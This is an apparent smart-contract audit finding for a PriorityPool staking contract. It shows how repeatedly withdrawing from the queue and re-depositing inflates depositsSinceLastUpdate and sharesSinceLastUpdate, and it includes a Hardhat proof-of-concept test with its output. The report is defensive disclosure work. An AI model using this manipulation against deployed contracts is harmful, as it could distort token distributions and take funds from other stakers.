Summary
The amount of tokens to be distributed at a new batch through function PriorityPool#updateDistribution() can be manipulated, which is the result of manipulating state variable depositsSinceLastUpdate
Vulnerability Details
The function PriorityPool#updateDistribution() is expected to distributes a new batch of liquid staking tokens to users that have queued tokens. The amount to be distributed is expected to be total amount of queued tokens deposited into the staking pool since the last distribution, tracking by state variable depositsSinceLastUpdate.
function updateDistribution(
bytes32 _merkleRoot,
bytes32 _ipfsHash,
uint256 _amountDistributed,
uint256 _sharesAmountDistributed
) external onlyDistributionOracle {
_unpause();
@> depositsSinceLastUpdate -= _amountDistributed;
@> sharesSinceLastUpdate -= _sharesAmountDistributed;
merkleRoot = _merkleRoot;
ipfsHash = _ipfsHash;
merkleTreeSize = accounts.length;
emit UpdateDistribution(
_merkleRoot,
_ipfsHash,
_amountDistributed,
_sharesAmountDistributed
);
}
As confirmation from sponsor here, the distributed amount is calculated off-chain. The calculation of _amountDistributed and _sharesAmountDistributed is dependent on the state variables depositsSinceLastUpdate and sharesSinceLastUpdate.
From the onchain side, these two state variable can be increased when queued tokens are deposited to StakingPool through function PriorityPool#_depositQueuedTokens().
function _depositQueuedTokens(
uint256 _depositMin,
uint256 _depositMax,
bytes[] memory _data
) internal {
if (poolStatus != PoolStatus.OPEN) revert DepositsDisabled();
uint256 strategyDepositRoom = stakingPool.getStrategyDepositRoom();
if (strategyDepositRoom == 0 || strategyDepositRoom < _depositMin)
revert InsufficientDepositRoom();
uint256 _totalQueued = totalQueued;
uint256 unusedDeposits = stakingPool.getUnusedDeposits();
uint256 canDeposit = _totalQueued + unusedDeposits;
if (canDeposit == 0 || canDeposit < _depositMin) revert InsufficientQueuedTokens();
uint256 toDepositFromStakingPool = MathUpgradeable.min(
MathUpgradeable.min(unusedDeposits, strategyDepositRoom),
_depositMax
);
uint256 toDepositFromQueue = MathUpgradeable.min(
MathUpgradeable.min(_totalQueued, strategyDepositRoom - toDepositFromStakingPool),
_depositMax - toDepositFromStakingPool
);
@> stakingPool.deposit(address(this), toDepositFromQueue, _data);
_totalQueued -= toDepositFromQueue;
if (_totalQueued != totalQueued) {
uint256 diff = totalQueued - _totalQueued;
@> depositsSinceLastUpdate += diff;
@> sharesSinceLastUpdate += stakingPool.getSharesByStake(diff);
totalQueued = _totalQueued;
}
emit DepositTokens(toDepositFromStakingPool, toDepositFromQueue);
}
And these variables can also be increased through function PriorityPool#_withdraw(), which is executed when a staker withdraws underlying assets. Specifically, the variables are increased when the staker withdraws an amount not greater than the current totalQueued amount.
function _withdraw(
address _account,
uint256 _amount,
bool _shouldQueueWithdrawal
) internal returns (uint256) {
if (poolStatus == PoolStatus.CLOSED) revert WithdrawalsDisabled();
uint256 toWithdraw = _amount;
if (totalQueued != 0) {
uint256 toWithdrawFromQueue = toWithdraw <= totalQueued ? toWithdraw : totalQueued;
totalQueued -= toWithdrawFromQueue;
@> depositsSinceLastUpdate += toWithdrawFromQueue;
@> sharesSinceLastUpdate += stakingPool.getSharesByStake(toWithdrawFromQueue);
toWithdraw -= toWithdrawFromQueue;
}
if (toWithdraw != 0) {
if (!_shouldQueueWithdrawal) revert InsufficientLiquidity();
withdrawalPool.queueWithdrawal(_account, toWithdraw);
}
emit Withdraw(_account, _amount - toWithdraw);
return toWithdraw;
}
With the mechanism above, an attacker can manipulate depositsSinceLastUpdate and sharesSinceLastUpdate by repeatedly deposit to queue and withdraw from queue
PoC
Add the test below to the test file priority-pool.test.ts:
it.only('withdraw should work correctly', async () => {
const { signers, accounts, adrs, pp, token, stakingPool, strategy } = await loadFixture(
deployFixture
)
await stakingPool.connect(signers[1]).approve(adrs.pp, ethers.MaxUint256)
await stakingPool.connect(signers[2]).approve(adrs.pp, ethers.MaxUint256)
await pp.connect(signers[1]).deposit(toEther(2000), true, ['0x'])
await token.transfer(adrs.strategy, toEther(1000))
await stakingPool.updateStrategyRewards([0], '0x')
await pp.deposit(toEther(100), true, ['0x'])
await pp.connect(signers[2]).deposit(toEther(100), true, ['0x'])
await strategy.setMaxDeposits(toEther(2000))
console.log(`last deposits ${await pp.depositsSinceLastUpdate()}`)
console.log(`total queued ${await pp.totalQueued()}`)
for(let i = 0 ; i < 13; ++i){
await pp.connect(signers[1]).withdraw(toEther(100), 0, 0, [], false, false)
await pp.connect(signers[1]).deposit(toEther(100), true, ['0x'])
}
console.log(`last deposits ${await pp.depositsSinceLastUpdate()}`)
console.log(`total queued ${await pp.totalQueued()}`)
})
Run the test and the console shows:
last deposits 0
total queued 1200000000000000001000
last deposits 1300000000000000000000
total queued 1200000000000000001000
The result means that the depositsSinceLastUpdate is manipulated by repeatedly deposit and withdraw
Impact
The tracked amounts depositsSinceLastUpdate and sharesSinceLastUpdate are not precise
The distributed amount can be manipulated, depends on off-chain system logic. If the off-chain system is tricked by the manipulation, then the funds to be distributed could be much larger than expected
Tools Used
Manual
Recommendations
Update the mechanism to increase/decrease these two variables
